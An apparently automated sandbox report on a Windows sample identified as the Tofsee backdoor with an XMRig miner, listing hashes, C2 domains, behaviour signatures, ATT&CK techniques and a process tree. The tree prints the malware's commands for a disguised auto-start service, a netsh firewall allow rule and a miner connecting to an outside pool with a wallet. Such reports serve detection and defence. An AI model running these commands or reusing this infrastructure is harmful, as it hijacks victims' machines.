Analysis

  • max time kernel
    150s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220414-en
  • submitted
    15-06-2022 01:44

General

  • Target

    01de5843538613bed2de4c35a2772a9884edde670c006b14864349a6baeff6d6.exe

  • Size

    249KB

  • MD5

    bad84fb256d31d1ed4c574a196bf31d2

  • SHA1

    4fdb4534e4f09713b670d246b7bdc221e5f48ee6

  • SHA256

    01de5843538613bed2de4c35a2772a9884edde670c006b14864349a6baeff6d6

  • SHA512

    de245595ddb2fc16f799f5ca38544f4b6b8de4c6399e1e1e5201a220aae4f5f727fff69932195ecad1d521c21cbc68e397b351133bbaf1b9d8c9799babe200f6

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 16 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\01de5843538613bed2de4c35a2772a9884edde670c006b14864349a6baeff6d6.exe
    "C:\Users\Admin\AppData\Local\Temp\01de5843538613bed2de4c35a2772a9884edde670c006b14864349a6baeff6d6.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:332
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\ppyaqxhc\
      2⤵
        PID:4716
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\lfvyqlfa.exe" C:\Windows\SysWOW64\ppyaqxhc\
        2⤵
          PID:2860
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create ppyaqxhc binPath= "C:\Windows\SysWOW64\ppyaqxhc\lfvyqlfa.exe /d\"C:\Users\Admin\AppData\Local\Temp\01de5843538613bed2de4c35a2772a9884edde670c006b14864349a6baeff6d6.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2744
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description ppyaqxhc "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4292
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start ppyaqxhc
          2⤵
          • Launches sc.exe
          PID:4852
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1008
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 332 -s 904
          2⤵
          • Program crash
          PID:644
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 424 -p 332 -ip 332
        1⤵
          PID:1284
        • C:\Windows\SysWOW64\ppyaqxhc\lfvyqlfa.exe
          C:\Windows\SysWOW64\ppyaqxhc\lfvyqlfa.exe /d"C:\Users\Admin\AppData\Local\Temp\01de5843538613bed2de4c35a2772a9884edde670c006b14864349a6baeff6d6.exe"
          1⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:772
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe
            2⤵
            • Sets service image path in registry
            • Drops file in System32 directory
            • Suspicious use of SetThreadContext
            • Modifies data under HKEY_USERS
            • Suspicious use of WriteProcessMemory
            PID:3900
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
              3⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:2560
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 772 -s 548
            2⤵
            • Program crash
            PID:4724
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 772 -ip 772
          1⤵
            PID:3752

          Network

          MITRE ATT&CK Matrix ATT&CK v6

          Persistence

          New Service

          1
          T1050

          Modify Existing Service

          1
          T1031

          Registry Run Keys / Startup Folder

          1
          T1060

          Privilege Escalation

          New Service

          1
          T1050

          Defense Evasion

          Modify Registry

          1
          T1112

          Discovery

          Query Registry

          1
          T1012

          System Information Discovery

          2
          T1082

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\lfvyqlfa.exe
            Filesize

            14.7MB

            MD5

            45de9a2c37a1013c723e19549229ee8c

            SHA1

            a6b4cd5bf4703a9d40f0a57df6e64552d82055e1

            SHA256

            ab9dbfd654b1939a106cdc7c2363c1c8d604cfc34c23d37c9c5388e30cfb5dca

            SHA512

            c17cf85e91639406402d90ff50d6a94a7fd9b0a2276e4a8af8e8459fd240b5d529b7a35d278b7f132de5f592fb4a343a8c93238b6885b7db1389bddf62f3a3ce

          • C:\Windows\SysWOW64\ppyaqxhc\lfvyqlfa.exe
            Filesize

            14.7MB

            MD5

            45de9a2c37a1013c723e19549229ee8c

            SHA1

            a6b4cd5bf4703a9d40f0a57df6e64552d82055e1

            SHA256

            ab9dbfd654b1939a106cdc7c2363c1c8d604cfc34c23d37c9c5388e30cfb5dca

            SHA512

            c17cf85e91639406402d90ff50d6a94a7fd9b0a2276e4a8af8e8459fd240b5d529b7a35d278b7f132de5f592fb4a343a8c93238b6885b7db1389bddf62f3a3ce

          • memory/332-131-0x00000000023A0000-0x00000000023B3000-memory.dmp
            Filesize

            76KB

          • memory/332-132-0x0000000000400000-0x000000000065A000-memory.dmp
            Filesize

            2.4MB

          • memory/332-130-0x00000000006CD000-0x00000000006DB000-memory.dmp
            Filesize

            56KB

          • memory/332-142-0x0000000000400000-0x000000000065A000-memory.dmp
            Filesize

            2.4MB

          • memory/332-141-0x00000000006CD000-0x00000000006DB000-memory.dmp
            Filesize

            56KB

          • memory/772-147-0x0000000000809000-0x0000000000817000-memory.dmp
            Filesize

            56KB

          • memory/772-148-0x0000000000400000-0x000000000065A000-memory.dmp
            Filesize

            2.4MB

          • memory/1008-139-0x0000000000000000-mapping.dmp
          • memory/2560-175-0x0000000000E50000-0x0000000000F41000-memory.dmp
            Filesize

            964KB

          • memory/2560-169-0x0000000000000000-mapping.dmp
          • memory/2560-170-0x0000000000E50000-0x0000000000F41000-memory.dmp
            Filesize

            964KB

          • memory/2744-136-0x0000000000000000-mapping.dmp
          • memory/2860-134-0x0000000000000000-mapping.dmp
          • memory/3900-157-0x0000000002D10000-0x0000000002D20000-memory.dmp
            Filesize

            64KB

          • memory/3900-144-0x0000000000A80000-0x0000000000A95000-memory.dmp
            Filesize

            84KB

          • memory/3900-149-0x0000000000A80000-0x0000000000A95000-memory.dmp
            Filesize

            84KB

          • memory/3900-150-0x0000000000A80000-0x0000000000A95000-memory.dmp
            Filesize

            84KB

          • memory/3900-151-0x0000000002A00000-0x0000000002C0F000-memory.dmp
            Filesize

            2.1MB

          • memory/3900-154-0x0000000001DF0000-0x0000000001DF6000-memory.dmp
            Filesize

            24KB

          • memory/3900-143-0x0000000000000000-mapping.dmp
          • memory/3900-160-0x0000000002DE0000-0x0000000002DE5000-memory.dmp
            Filesize

            20KB

          • memory/3900-163-0x0000000007A40000-0x0000000007E4B000-memory.dmp
            Filesize

            4.0MB

          • memory/3900-166-0x00000000070D0000-0x00000000070D7000-memory.dmp
            Filesize

            28KB

          • memory/4292-137-0x0000000000000000-mapping.dmp
          • memory/4716-133-0x0000000000000000-mapping.dmp
          • memory/4852-138-0x0000000000000000-mapping.dmp